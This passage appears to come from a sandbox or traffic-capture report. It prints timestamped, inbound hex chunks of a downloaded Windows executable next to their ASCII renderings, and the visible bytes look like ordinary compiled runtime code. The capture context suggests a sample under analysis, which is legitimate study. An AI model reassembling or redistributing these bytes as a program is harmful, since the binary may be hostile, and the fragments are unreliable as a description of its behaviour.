jjh)@h)@h`)@VMMUUEMEUUEEtMMt}U}tI}t@}v:E9xsxMUUEPhMQ8)@t3tEEMM}uh(@jjh)@jK
2022-08-31 12:28:59 UTC	541	IN	Data Raw: c2 01 89 55 fc 83 7d fc 24 7d 33 8b 45 fc 83 3c c5 a0 ec 81 00 00 74 24 8b 4d fc 83 3c cd a4 ec 81 00 01 75 17 8b 55 fc 8b 04 d5 a0 ec 81 00 89 45 f4 8b 4d f4 51 ff 15 ac 11 40 00 eb be 8b e5 5d c3 cc cc 8b ff 55 8b ec 6a fe 68 78 0b 43 00 68 20 e5 40 00 64 a1 00 00 00 00 50 83 c4 f0 53 56 57 a1 c4 ed 81 00 31 45 f8 33 c5 50 8d 45 f0 64 a3 00 00 00 00 c7 45 e0 01 00 00 00 83 3d 44 f7 c1 00 00 75 1c e8 69 39 00 00 6a 1e e8 b2 39 00 00 83 c4 04 68 ff 00 00 00 e8 a5 c8 ff ff 83 c4 04 8b 45 08 83 3c c5 a0 ec 81 00 00 74 0a b8 01 00 00 00 e9 bf 00 00 00 68 17 01 00 00 68 00 2b 40 00 6a 02 6a 18 e8 f8 d3 ff ff 83 c4 10 89 45 e4 83 7d e4 00 75 12 e8 e7 53 00 00 c7 00 0c 00 00 00 33 c0 e9 8e 00 00 00 6a 0a e8 a3 00 00 00 83 c4 04 c7 45 fc 00 00 00 00 8b 4d 08 83 Data Ascii: U}$}3E<t$M<uUEMQ@]UjhxCh @dPSVW1E3PEdE=Dui9j9hE<thh+@jjE}uS3jEM
2022-08-31 12:28:59 UTC	542	IN	Data Raw: 95 a8 dd ff ff 52 8b 45 f8 50 8b 4d 08 8b 14 8d 78 2b 40 00 52 68 20 2d 40 00 68 ff 0f 00 00 68 00 10 00 00 8d 85 f0 df ff ff 50 e8 0b dd 00 00 83 c4 44 89 45 f4 83 7d f4 00 7d 2a 6a 00 68 60 01 00 00 68 88 2b 40 00 68 88 30 40 00 68 9c 28 40 00 6a 22 6a 16 e8 10 4f 00 00 8b 08 51 e8 d8 f2 ff ff 83 c4 20 e8 00 4f 00 00 8b 95 d8 dd ff ff 89 10 83 7d f4 00 7d 38 6a 00 68 63 01 00 00 68 88 2b 40 00 68 88 30 40 00 68 88 2c 40 00 68 30 2c 40 00 68 00 10 00 00 8d 85 f0 df ff ff 50 e8 86 de 00 00 83 c4 0c 50 e8 2d f8 ff ff 83 c4 18 68 12 20 01 00 68 e8 2b 40 00 8d 8d f0 df ff ff 51 e8 54 da 00 00 83 c4 0c 89 85 dc dd ff ff 83 bd dc dd ff ff 03 75 11 6a 16 e8 4b 47 00 00 83 c4 04 6a 03 e8 d1 be ff ff 83 bd dc dd ff ff 04 75 07 b8 01 00 00 00 eb 02 33 c0 8b 4d f0 Data Ascii: REPMx+@Rh -@hhPDE}}*jh`h+@h0@h(@j"jOQ O}}8jhch+@h0@h,@h0,@hPP-h h+@QTujKGju3M
2022-08-31 12:28:59 UTC	546	IN	Data Raw: 00 89 45 fc 83 7d fc 00 74 09 6a 00 ff 55 fc eb 07 eb 05 e8 6e ff ff ff 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc 8b ff 55 8b ec 6a 00 8b 45 08 50 e8 10 00 00 00 83 c4 08 5d c3 cc cc cc cc cc cc cc cc cc cc cc 8b ff 55 8b ec 83 ec 14 8b 45 0c 50 8d 4d ec e8 8c dc ff ff 8b 4d 08 0f be 11 52 e8 a0 e6 00 00 83 c4 04 83 f8 65 74 1c 8b 45 08 83 c0 01 89 45 08 8b 4d 08 0f b6 11 52 e8 f3 e2 00 00 83 c4 04 85 c0 75 e4 8b 45 08 0f be 08 51 e8 70 e6 00 00 83 c4 04 83 f8 78 75 09 8b 55 08 83 c2 02 89 55 08 8b 45 08 8a 08 88 4d ff 8d 4d ec e8 3f dd ff ff 8b 10 8b 82 bc 00 00 00 8b 08 8b 55 08 8a 01 88 02 8b 4d 08 83 c1 01 89 4d 08 8b 55 08 8a 02 88 45 fe 8b 4d 08 8a 55 ff 88 11 8a 45 fe 88 45 ff 8b 4d 08 0f be 11 8b 45 08 83 c0 01 89 45 08 85 d2 75 d7 8d 4d ec e8 c4 Data Ascii: E}tjUn]UjEP]UEPMMRetEEMRuEQpxuUUEMM?UMMUEMUEEMEEuM
2022-08-31 12:28:59 UTC	551	IN	Data Raw: 8b 4d dc 8b 51 04 52 8b 01 50 e8 92 db 00 00 83 c4 14 33 c9 83 7d 0c 00 0f 95 c1 89 4d c4 83 7d c4 00 75 21 68 60 33 40 00 6a 00 68 89 03 00 00 68 f0 32 40 00 6a 02 e8 55 db ff ff 83 c4 14 83 f8 01 75 01 cc 83 7d c4 00 75 33 e8 11 2e 00 00 c7 00 16 00 00 00 6a 00 68 89 03 00 00 68 f0 32 40 00 68 28 35 40 00 68 60 33 40 00 e8 70 2a 00 00 83 c4 14 b8 16 00 00 00 e9 ea 00 00 00 33 c0 3b 45 10 1b c9 f7 d9 89 4d c0 75 21 68 b8 32 40 00 6a 00 68 8a 03 00 00 68 f0 32 40 00 6a 02 e8 ed da ff ff 83 c4 14 83 f8 01 75 01 cc 83 7d c0 00 75 33 e8 a9 2d 00 00 c7 00 16 00 00 00 6a 00 68 8a 03 00 00 68 f0 32 40 00 68 28 35 40 00 68 b8 32 40 00 e8 08 2a 00 00 83 c4 14 b8 16 00 00 00 e9 82 00 00 00 83 7d 10 ff 75 08 8b 45 10 89 45 bc eb 13 8b 4d e0 33 d2 83 39 2d 0f 94 c2 Data Ascii: MQRP3}M}u!h`3@jhh2@jUu}u3.jhh2@h(5@h`3@p3;EMu!h2@jhh2@ju}u3-jhh2@h(5@h2@}uEEM39-
2022-08-31 12:28:59 UTC	552	IN	Data Raw: 55 e0 52 8d 45 c8 50 8b 4d c4 8b 51 04 52 8b 01 50 e8 7e d7 00 00 83 c4 14 33 c9 83 7d 0c 00 0f 95 c1 89 4d b8 83 7d b8 00 75 21 68 60 33 40 00 6a 00 68 e3 03 00 00 68 f0 32 40 00 6a 02 e8 41 d7 ff ff 83 c4 14 83 f8 01 75 01 cc 83 7d b8 00 75 33 e8 fd 29 00 00 c7 00 16 00 00 00 6a 00 68 e3 03 00 00 68 f0 32 40 00 68 50 35 40 00 68 60 33 40 00 e8 5c 26 00 00 83 c4 14 b8 16 00 00 00 e9 69 01 00 00 33 c0 3b 45 10 1b c9 f7 d9 89 4d b4 75 21 68 b8 32 40 00 6a 00 68 e4 03 00 00 68 f0 32 40 00 6a 02 e8 d9 d6 ff ff 83 c4 14 83 f8 01 75 01 cc 83 7d b4 00 75 33 e8 95 29 00 00 c7 00 16 00 00 00 6a 00 68 e4 03 00 00 68 f0 32 40 00 68 50 35 40 00 68 b8 32 40 00 e8 f4 25 00 00 83 c4 14 b8 16 00 00 00 e9 01 01 00 00 8b 45 d8 8b 48 04 83 e9 01 89 4d dc 8b 55 d8 33 c0 83 Data Ascii: UREPMQRP~3}M}u!h`3@jhh2@jAu}u3)jhh2@hP5@h`3@\&i3;EMu!h2@jhh2@ju}u3)jhh2@hP5@h2@%EHMU3
2022-08-31 12:28:59 UTC	556	IN	Data Raw: 74 2f 6a 00 8d 55 f8 52 8b 45 fc 8b 0c c5 04 ee 81 00 51 e8 87 c1 ff ff 83 c4 04 50 8b 55 fc 8b 04 d5 04 ee 81 00 50 8b 4d f4 51 ff 15 d8 11 40 00 e9 a7 01 00 00 81 7d 08 fc 00 00 00 0f 84 9a 01 00 00 c7 45 ec e1 f2 c1 00 8b 55 ec 81 ea c8 f2 c1 00 b8 14 03 00 00 2b c2 89 45 e8 8b 4d ec 89 4d f0 6a 00 68 e0 00 00 00 68 60 3f 40 00 68 44 3f 40 00 68 98 3e 40 00 68 78 3e 40 00 68 14 03 00 00 68 c8 f2 c1 00 e8 02 be ff ff 83 c4 0c 50 e8 a9 c2 ff ff 83 c4 18 8b 55 ec c6 82 04 01 00 00 00 68 04 01 00 00 8b 45 ec 50 6a 00 ff 15 d4 11 40 00 85 c0 75 34 6a 00 68 e4 00 00 00 68 60 3f 40 00 68 44 3f 40 00 68 00 3e 40 00 68 e8 3d 40 00 8b 4d e8 51 8b 55 ec 52 e8 af bd ff ff 83 c4 0c 50 e8 56 c2 ff ff 83 c4 18 8b 45 f0 50 e8 aa c0 ff ff 83 c4 04 83 c0 01 83 f8 3c 76 Data Ascii: t/jUREQPUPMQ@}EU+EMMjhh`?@hD?@h>@hx>@hhPUhEPj@u4jhh`?@hD?@h>@h=@MQURPVEP<v
2022-08-31 12:28:59 UTC	560	IN	Data Raw: 00 00 83 7d ec 05 75 14 8b 55 fc c7 42 08 00 00 00 00 b8 01 00 00 00 e9 50 01 00 00 83 7d ec 01 75 08 83 c8 ff e9 42 01 00 00 8b 45 f8 8b 48 60 89 4d f4 8b 55 f8 8b 45 0c 89 42 60 8b 4d fc 83 79 04 08 0f 85 00 01 00 00 8b 15 d8 f3 81 00 89 55 f0 eb 09 8b 45 f0 83 c0 01 89 45 f0 8b 0d d8 f3 81 00 03 0d dc f3 81 00 39 4d f0 7d 16 8b 55 f0 6b d2 0c 8b 45 f8 8b 48 5c c7 44 11 08 00 00 00 00 eb d0 8b 55 f8 8b 42 64 89 45 e8 8b 4d fc 81 39 8e 00 00 c0 75 0f 8b 55 f8 c7 42 64 83 00 00 00 e9 88 00 00 00 8b 45 fc 81 38 90 00 00 c0 75 0c 8b 4d f8 c7 41 64 81 00 00 00 eb 71 8b 55 fc 81 3a 91 00 00 c0 75 0c 8b 45 f8 c7 40 64 84 00 00 00 eb 5a 8b 4d fc 81 39 93 00 00 c0 75 0c 8b 55 f8 c7 42 64 85 00 00 00 eb 43 8b 45 fc 81 38 8d 00 00 c0 75 0c 8b 4d f8 c7 41 64 82 00 Data Ascii: }uUBP}uBEH`MUEB`MyUEE9M}UkEH\DUBdEM9uUBdE8uMAdqU:uE@dZM9uUBdCE8uMAd
2022-08-31 12:28:59 UTC	564	IN	Data Raw: 55 cc 89 95 bc fd ff ff 8b 85 bc fd ff ff 83 e8 2a 89 85 bc fd ff ff 83 bd bc fd ff ff 4d 0f 87 8e 01 00 00 8b 8d bc fd ff ff 0f b6 91 7c 4d 41 00 ff 24 95 5c 4d 41 00 e9 7e 01 00 00 8a 45 e7 2c 01 88 45 e7 8a 8d fb fd ff ff 80 e9 01 88 8d fb fd ff ff e9 62 01 00 00 8b 55 0c 0f b6 42 01 83 f8 36 75 3c 8b 4d 0c 0f b6 51 02 83 fa 34 75 30 8b 45 0c 83 c0 02 89 45 0c 8b 4d d8 83 c1 01 89 4d d8 c7 85 10 fe ff ff 00 00 00 00 c7 85 14 fe ff ff 00 00 00 00 e9 1f 01 00 00 e9 8a 00 00 00 8b 55 0c 0f b6 42 01 83 f8 33 75 1c 8b 4d 0c 0f b6 51 02 83 fa 32 75 10 8b 45 0c 83 c0 02 89 45 0c e9 f4 00 00 00 eb 62 8b 4d 0c 0f b6 51 01 83 fa 64 74 30 8b 45 0c 0f b6 48 01 83 f9 69 74 24 8b 55 0c 0f b6 42 01 83 f8 6f 74 18 8b 4d 0c 0f b6 51 01 83 fa 78 74 0c 8b 45 0c 0f b6 48 Data Ascii: U*M\|MA$\MA~E,EbUB6u<MQ4u0EEMMUB3uMQ2uEEbMQdt0EHit$UBotMQxtEH
2022-08-31 12:28:59 UTC	568	IN	Data Raw: fe ff ff 80 ea 01 88 95 27 fe ff ff 0f be 45 ee 85 c0 75 06 8b 4d e8 89 4d 14 8a 95 27 fe ff ff 80 c2 01 88 95 27 fe ff ff eb 21 8b 45 f4 83 e8 01 89 45 f4 8b 4d 08 51 8b 95 f4 fd ff ff 52 e8 4c 04 00 00 83 c4 08 e9 35 01 00 00 8b 45 0c 83 c0 01 89 45 0c e9 00 01 00 00 8b 4d 0c 0f b6 11 83 fa 25 75 15 8b 45 0c 0f b6 48 01 83 f9 25 75 09 8b 55 0c 83 c2 01 89 55 0c 8b 45 f4 83 c0 01 89 45 f4 8b 4d 08 51 e8 a4 03 00 00 83 c4 04 89 85 f4 fd ff ff 8b 55 0c 0f b6 02 8b 8d f4 fd ff ff 8b 55 0c 83 c2 01 89 55 0c 3b c1 74 21 8b 45 f4 83 e8 01 89 45 f4 8b 4d 08 51 8b 95 f4 fd ff ff 52 e8 c9 03 00 00 83 c4 08 e9 b2 00 00 00 0f b6 85 f4 fd ff ff 50 e8 04 bc 00 00 83 c4 04 85 c0 74 77 8b 4d f4 83 c1 01 89 4d f4 8b 55 08 52 e8 3b 03 00 00 83 c4 04 89 85 d4 fd ff ff 8b Data Ascii: 'EuMM''!EEMQRL5EEM%uEH%uUUEEMQUUU;t!EEMQRPtwMMUR;
2022-08-31 12:28:59 UTC	572	IN	Data Raw: ff 8b 95 74 fd ff ff 83 ea 01 89 95 74 fd ff ff 85 c9 74 1e 8b 85 78 fd ff ff 0f be 08 85 c9 74 11 8b 95 78 fd ff ff 83 c2 01 89 95 78 fd ff ff eb c9 8b 85 78 fd ff ff 2b 45 fc 89 45 dc e9 ab 05 00 00 8d 4d 14 51 e8 4f 0a 00 00 83 c4 04 89 85 6c fd ff ff e8 c1 51 ff ff 85 c0 0f 85 a4 00 00 00 33 d2 74 0c c7 85 ec fc ff ff 01 00 00 00 eb 0a c7 85 ec fc ff ff 00 00 00 00 8b 85 ec fc ff ff 89 85 68 fd ff ff 83 bd 68 fd ff ff 00 75 21 68 e8 44 40 00 6a 00 68 95 06 00 00 68 70 45 40 00 6a 02 e8 42 84 ff ff 83 c4 14 83 f8 01 75 01 cc 83 bd 68 fd ff ff 00 75 46 e8 fb d6 ff ff c7 00 16 00 00 00 6a 00 68 95 06 00 00 68 70 45 40 00 68 58 45 40 00 68 e8 44 40 00 e8 5a d3 ff ff 83 c4 14 c7 85 18 fd ff ff ff ff ff ff 8d 4d c0 e8 a5 75 ff ff 8b 85 18 fd ff ff e9 12 07 Data Ascii: tttxtxxx+EEMQOlQ3thhu!hD@jhhpE@jBuhuFjhhpE@hXE@hD@ZMu
2022-08-31 12:28:59 UTC	576	IN	Data Raw: 13 8b 45 10 8b 4d fc 8a 11 88 10 8b 45 10 83 c0 01 89 45 10 8b 4d fc 8a 11 88 55 f3 8b 45 fc 83 c0 01 89 45 fc 0f b6 4d f3 51 e8 97 bc 00 00 83 c4 04 85 c0 74 2f 8b 55 18 8b 02 83 c0 01 8b 4d 18 89 01 83 7d 10 00 74 13 8b 55 10 8b 45 fc 8a 08 88 0a 8b 55 10 83 c2 01 89 55 10 8b 45 fc 83 c0 01 89 45 fc 0f b6 4d f3 85 c9 74 20 83 7d f8 00 0f 85 4d ff ff ff 0f b6 55 f3 83 fa 20 74 0d 0f b6 45 f3 83 f8 09 0f 85 37 ff ff ff 0f b6 4d f3 85 c9 75 0b 8b 55 fc 83 ea 01 89 55 fc eb 0d 83 7d 10 00 74 07 8b 45 10 c6 40 ff 00 c7 45 f8 00 00 00 00 8b 4d fc 0f be 11 85 d2 74 21 8b 45 fc 0f be 08 83 f9 20 74 0b 8b 55 fc 0f be 02 83 f8 09 75 0b 8b 4d fc 83 c1 01 89 4d fc eb df 8b 55 fc 0f be 02 85 c0 75 05 e9 cf 01 00 00 83 7d 0c 00 74 11 8b 4d 0c 8b 55 10 89 11 8b 45 0c Data Ascii: EMEEMUEEMQt/UM}tUEUUEEMt }MU tE7MuUU}tE@EMt!E tUuMMUu}tMUE
2022-08-31 12:28:59 UTC	581	IN	Data Raw: ff 04 75 07 b8 01 00 00 00 eb 02 33 c0 8b 4d f0 33 cd e8 fa b6 ff ff 8b e5 5d c3 cc cc cc cc cc cc 8b ff 55 8b ec b8 01 00 00 00 5d c3 cc cc cc cc 8b ff 55 8b ec c7 05 08 fc c1 00 00 00 00 00 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b ff 55 8b ec 6a fe 68 30 0d 43 00 68 20 e5 40 00 64 a1 00 00 00 00 50 83 c4 e8 53 56 57 a1 c4 ed 81 00 31 45 f8 33 c5 50 8d 45 f0 64 a3 00 00 00 00 33 c0 83 7d 08 00 0f 95 c0 89 45 e0 83 7d e0 00 75 1e 68 78 4a 40 00 6a 00 6a 60 68 18 4a 40 00 6a 02 e8 37 63 ff ff 83 c4 14 83 f8 01 75 01 cc 83 7d e0 00 75 2d e8 f3 b5 ff ff c7 00 16 00 00 00 6a 00 6a 60 68 18 4a 40 00 68 f8 49 40 00 68 78 4a 40 00 e8 55 b2 ff ff 83 c4 14 33 c0 e9 77 01 00 00 83 7d 0c e0 76 12 e8 c0 b5 ff ff c7 00 0c 00 00 00 33 c0 e9 5f 01 00 00 83 Data Ascii: u3M3]U]U]Ujh0Ch @dPSVW1E3PEd3}E}uhxJ@jj`hJ@j7cu}u-jj`hJ@hI@hxJ@U3w}v3_
2022-08-31 12:28:59 UTC	584	IN	Data Raw: 00 00 00 80 8b 4d d0 d3 ea f7 d2 8b 45 08 23 10 8b 4d 08 89 11 eb 66 8b 4d d0 83 e9 20 ba 00 00 00 80 d3 ea f7 d2 8b 45 ec 8b 4d d4 23 94 81 c4 00 00 00 8b 45 ec 8b 4d d4 89 94 81 c4 00 00 00 8b 55 d4 03 55 d0 8a 42 04 2c 01 8b 4d d4 03 4d d0 88 41 04 8b 55 d4 03 55 d0 0f be 42 04 85 c0 75 1b 8b 4d d0 83 e9 20 ba 00 00 00 80 d3 ea f7 d2 8b 45 08 23 50 04 8b 4d 08 89 51 04 8b 55 f4 8b 42 08 8b 4d f4 8b 51 04 89 50 04 8b 45 f4 8b 48 04 8b 55 f4 8b 42 08 89 41 08 8b 4d f4 89 4d e8 8b 55 e4 83 e2 01 75 0c 8b 45 d0 3b 45 c8 0f 84 08 01 00 00 8b 4d c8 8b 55 d8 8d 04 ca 89 45 dc 8b 4d e8 8b 55 dc 8b 42 04 89 41 04 8b 4d e8 8b 55 dc 89 51 08 8b 45 dc 8b 4d e8 89 48 04 8b 55 e8 8b 42 04 8b 4d e8 89 48 08 8b 55 e8 8b 45 e8 8b 4a 04 3b 48 08 0f 85 c0 00 00 00 83 7d Data Ascii: ME#MfM EM#EMUUB,MMAUUBuM E#PMQUBMQPEHUBAMMUuE;EMUEMUBAMUQEMHUBMHUEJ;H}
2022-08-31 12:28:59 UTC	588	IN	Data Raw: d2 75 14 ba 00 00 00 80 8b 4d d4 d3 ea 8b 45 08 0b 10 8b 4d 08 89 11 ba 00 00 00 80 8b 4d d4 d3 ea 8b 45 f4 8b 4d dc 0b 54 81 44 8b 45 f4 8b 4d dc 89 54 81 44 eb 63 8b 55 dc 03 55 d4 0f be 42 04 8b 4d dc 03 4d d4 8a 51 04 80 c2 01 8b 4d dc 03 4d d4 88 51 04 85 c0 75 19 8b 4d d4 83 e9 20 ba 00 00 00 80 d3 ea 8b 45 08 0b 50 04 8b 4d 08 89 51 04 8b 4d d4 83 e9 20 ba 00 00 00 80 d3 ea 8b 45 f4 8b 4d dc 0b 94 81 c4 00 00 00 8b 45 f4 8b 4d dc 89 94 81 c4 00 00 00 8b 55 f0 8b 45 d0 89 02 8b 4d f0 03 4d d0 8b 55 d0 89 51 fc b8 01 00 00 00 8b e5 5d c3 cc cc cc cc cc cc cc cc 8b ff 55 8b ec 81 ec 6c 01 00 00 83 3d f4 fb c1 00 00 75 08 83 c8 ff e9 c9 04 00 00 a1 f4 fb c1 00 89 45 c8 c7 85 94 fe ff ff 00 00 00 00 eb 0f 8b 8d 94 fe ff ff 83 c1 01 89 8d 94 fe ff ff 8b Data Ascii: uMEMMEMTDEMTDcUUBMMQMMQuM EPMQM EMEMUEMMUQ]Ul=uE
2022-08-31 12:28:59 UTC	592	IN	Data Raw: 8f e8 8b 44 8e ec 89 44 8f ec 8b 44 8e f0 89 44 8f f0 8b 44 8e f4 89 44 8f f4 8b 44 8e f8 89 44 8f f8 8b 44 8e fc 89 44 8f fc 8d 04 8d 00 00 00 00 03 f0 03 f8 ff 24 95 74 aa 41 00 8b ff 84 aa 41 00 8c aa 41 00 98 aa 41 00 ac aa 41 00 8b 45 08 5e 5f c9 c3 90 8a 06 88 07 8b 45 08 5e 5f c9 c3 90 8a 06 88 07 8a 46 01 88 47 01 8b 45 08 5e 5f c9 c3 8d 49 00 8a 06 88 07 8a 46 01 88 47 01 8a 46 02 88 47 02 8b 45 08 5e 5f c9 c3 90 8d 74 31 fc 8d 7c 39 fc f7 c7 03 00 00 00 75 24 c1 e9 02 83 e2 03 83 f9 08 72 0d fd f3 a5 fc ff 24 95 10 ac 41 00 8b ff f7 d9 ff 24 8d c0 ab 41 00 8d 49 00 8b c7 ba 03 00 00 00 83 f9 04 72 0c 83 e0 03 2b c8 ff 24 85 14 ab 41 00 ff 24 8d 10 ac 41 00 90 24 ab 41 00 48 ab 41 00 70 ab 41 00 8a 46 03 23 d1 88 47 03 83 ee 01 c1 e9 02 83 ef 01 Data Ascii: DDDDDDDDDD$tAAAAAE^_E^_FGE^_IFGFGE^_t1\|9u$r$A$AIr+$A$A$AHApAF#G
2022-08-31 12:28:59 UTC	596	IN	Data Raw: 10 55 40 00 68 d8 60 40 00 68 60 5c 40 00 6a 22 6a 16 6a ff 8d 95 d8 cf ff ff 52 68 00 10 00 00 8d 85 e0 ef ff ff 50 6a 00 e8 e7 91 00 00 83 c4 14 50 e8 5e 1c ff ff 83 c4 20 89 85 bc 8f ff ff 83 bd bc 8f ff ff 00 74 38 6a 00 68 2d 02 00 00 68 10 55 40 00 68 d8 60 40 00 68 a0 5b 40 00 68 5c 5b 40 00 68 00 10 00 00 8d 8d e0 ef ff ff 51 e8 10 1d ff ff 83 c4 0c 50 e8 b7 21 ff ff 83 c4 18 83 3d ec fb c1 00 00 75 0d 83 3d e8 fb c1 00 00 0f 84 23 01 00 00 c7 85 b4 8f ff ff 00 00 00 00 c7 85 b8 8f ff ff 00 00 00 00 6a 0f e8 e3 24 ff ff 83 c4 04 c7 45 fc 01 00 00 00 8b 15 ec fb c1 00 89 95 b4 8f ff ff eb 0f 8b 85 b4 8f ff ff 8b 48 04 89 8d b4 8f ff ff 83 bd b4 8f ff ff 00 74 48 c7 85 b0 8f ff ff 00 00 00 00 8d 95 b0 8f ff ff 52 8d 85 e0 ef ff ff 50 8b 4d 08 51 8b Data Ascii: U@h`@h`\@j"jjRhPjP^ t8jh-hU@h`@h[@h\[@hQP!=u=#j$EHtHRPMQ
2022-08-31 12:28:59 UTC	600	IN	Data Raw: 83 e2 fc 83 ca 02 8b 45 08 89 10 eb 1f 8b 4d 08 8b 11 83 e2 fc 83 ca 01 8b 45 08 89 10 eb 0d 8b 4d 08 8b 11 83 e2 fc 8b 45 08 89 10 8b 4d 0c 8b 11 81 e2 00 03 00 00 89 55 f0 74 35 81 7d f0 00 02 00 00 74 1a 81 7d f0 00 03 00 00 74 02 eb 31 8b 45 08 8b 08 83 e1 e3 8b 55 08 89 0a eb 22 8b 45 08 8b 08 83 e1 e3 83 c9 04 8b 55 08 89 0a eb 10 8b 45 08 8b 08 83 e1 e3 83 c9 08 8b 55 08 89 0a 8b 45 14 25 ff 0f 00 00 c1 e0 05 8b 4d 08 8b 11 81 e2 1f 00 fe ff 0b d0 8b 45 08 89 10 83 7d 20 00 74 54 8b 4d 08 8b 51 20 83 ca 01 8b 45 08 89 50 20 8b 4d 08 8b 51 20 83 e2 e1 8b 45 08 89 50 20 8b 4d 08 8b 55 18 d9 02 d9 59 10 8b 45 08 8b 48 60 83 c9 01 8b 55 08 89 4a 60 8b 45 08 8b 48 60 83 e1 e1 8b 55 08 89 4a 60 8b 45 08 8b 4d 1c d9 01 d9 58 50 eb 58 8b 55 08 8b 42 20 83 Data Ascii: EMEMEMUt5}t}t1EU"EUEUE%ME} tTMQ EP MQ EP MUYEH`UJ`EH`UJ`EMXPXUB
2022-08-31 12:28:59 UTC	604	IN	Data Raw: 06 8b 4d 08 89 4d fc 8b 45 fc eb 10 eb 0e 6a 00 8b 55 08 52 e8 e2 fd ff ff 83 c4 08 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc 8b ff 55 8b ec 83 ec 40 a1 c4 ed 81 00 33 c5 89 45 f0 c7 45 f8 00 00 00 00 c7 45 fc 00 00 00 00 8b 45 10 50 8d 4d d4 e8 64 f5 fe ff 8d 4d d4 e8 6c f6 fe ff 50 6a 00 6a 00 6a 00 6a 00 8b 4d 0c 51 8d 55 f4 52 8d 45 e4 50 e8 d2 8b 00 00 83 c4 20 89 45 f8 8b 4d 08 51 8d 55 e4 52 e8 0f 85 00 00 83 c4 08 89 45 fc 8b 45 f8 83 e0 03 75 38 83 7d fc 01 75 16 c7 45 d0 03 00 00 00 8d 4d d4 e8 ec f5 fe ff 8b 45 d0 eb 6a eb 1a 83 7d fc 02 75 14 c7 45 cc 04 00 00 00 8d 4d d4 e8 d0 f5 fe ff 8b 45 cc eb 4e eb 3a 8b 4d f8 83 e1 01 74 16 c7 45 c8 04 00 00 00 8d 4d d4 e8 b2 f5 fe ff 8b 45 c8 eb 30 eb 1c 8b 55 f8 83 e2 02 74 14 c7 45 c4 03 00 00 00 Data Ascii: MMEjUR]U@3EEEEPMdMlPjjjjMQUREP EMQUREEu8}uEMEj}uEMEN:MtEME0UtE
2022-08-31 12:28:59 UTC	607	IN	Data Raw: 00 83 f9 04 72 0c 83 e0 03 2b c8 ff 24 85 e4 e4 41 00 ff 24 8d e0 e5 41 00 90 f4 e4 41 00 18 e5 41 00 40 e5 41 00 8a 46 03 23 d1 88 47 03 83 ee 01 c1 e9 02 83 ef 01 83 f9 08 72 b2 fd f3 a5 fc ff 24 95 e0 e5 41 00 8d 49 00 8a 46 03 23 d1 88 47 03 8a 46 02 c1 e9 02 88 47 02 83 ee 02 83 ef 02 83 f9 08 72 88 fd f3 a5 fc ff 24 95 e0 e5 41 00 90 8a 46 03 23 d1 88 47 03 8a 46 02 88 47 02 8a 46 01 c1 e9 02 88 47 01 83 ee 03 83 ef 03 83 f9 08 0f 82 56 ff ff ff fd f3 a5 fc ff 24 95 e0 e5 41 00 8d 49 00 94 e5 41 00 9c e5 41 00 a4 e5 41 00 ac e5 41 00 b4 e5 41 00 bc e5 41 00 c4 e5 41 00 d7 e5 41 00 8b 44 8e 1c 89 44 8f 1c 8b 44 8e 18 89 44 8f 18 8b 44 8e 14 89 44 8f 14 8b 44 8e 10 89 44 8f 10 8b 44 8e 0c 89 44 8f 0c 8b 44 8e 08 89 44 8f 08 8b 44 8e 04 89 44 8f 04 8d Data Ascii: r+$A$AAA@AF#Gr$AIF#GFGr$AF#GFGFGV$AIAAAAAAAADDDDDDDDDDDDDD
2022-08-31 12:28:59 UTC	611	IN	Data Raw: d4 83 c4 08 c7 45 c8 00 00 00 00 83 7d fc 00 74 17 64 8b 1d 00 00 00 00 8b 03 8b 5d d8 89 03 64 89 1d 00 00 00 00 eb 09 8b 45 d8 64 a3 00 00 00 00 8b 45 c8 5b 8b e5 5d c3 cc cc cc cc 8b ff 55 8b ec 51 53 fc 8b 45 0c 8b 48 08 33 4d 0c e8 3a 3e ff ff 8b 4d 08 8b 51 04 83 e2 66 74 13 8b 45 0c c7 40 24 01 00 00 00 b8 01 00 00 00 eb 76 eb 74 6a 01 8b 4d 0c 8b 51 18 52 8b 45 0c 8b 48 14 51 8b 55 0c 8b 42 0c 50 6a 00 8b 4d 10 51 8b 55 0c 8b 42 10 50 8b 4d 08 51 e8 ef 88 00 00 83 c4 20 8b 55 0c 83 7a 24 00 75 0d 8b 45 08 50 8b 4d 0c 51 e8 36 fd ff ff 6a 00 6a 00 6a 00 6a 00 6a 00 8d 55 fc 52 68 23 01 00 00 e8 7e fe ff ff 83 c4 1c 8b 45 fc 8b 5d 0c 8b 63 1c 8b 6b 20 ff e0 b8 01 00 00 00 5b 8b e5 5d c3 cc cc cc 8b ff 55 8b ec 51 83 7d 0c 00 8b 45 08 8b 48 10 53 56 Data Ascii: E}td]dEdE[]UQSEH3M:>MQftE@$vtjMQREHQUBPjMQUBPMQ Uz$uEPMQ6jjjjjURh#~E]ck []UQ}EHSV
2022-08-31 12:28:59 UTC	615	IN	Data Raw: 04 83 f8 ff 74 09 8b 4d e4 83 c1 01 89 4d e4 eb 3a 83 7d 08 00 75 34 8b 55 e0 a1 20 fd c1 00 8b 0c 90 8b 51 0c 83 e2 02 74 21 8b 45 e0 8b 0d 20 fd c1 00 8b 14 81 52 e8 96 fd ff ff 83 c4 04 83 f8 ff 75 07 c7 45 dc ff ff ff ff c7 45 fc 00 00 00 00 e8 02 00 00 00 eb 1a 8b 45 e0 8b 0d 20 fd c1 00 8b 14 81 52 8b 45 e0 50 e8 43 31 ff ff 83 c4 08 c3 e9 f4 fe ff ff c7 45 fc fe ff ff ff e8 02 00 00 00 eb 0b 6a 01 e8 35 db fe ff 83 c4 04 c3 83 7d 08 01 75 07 8b 45 e4 eb 05 eb 03 8b 45 dc 8b 4d f0 64 89 0d 00 00 00 00 59 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b ff 55 8b ec 83 ec 24 83 7d 0c 00 74 06 83 7d 10 00 75 07 33 c0 e9 fb 01 00 00 8b 45 0c 0f be 08 85 c9 75 15 83 7d 08 00 74 08 33 d2 8b 45 08 66 89 10 33 c0 e9 dc 01 00 00 8b 4d 14 Data Ascii: tMM:}u4U Qt!E RuEEE REPC1Ej5}uEEMdY_^[]U$}t}u3Eu}t3Ef3M
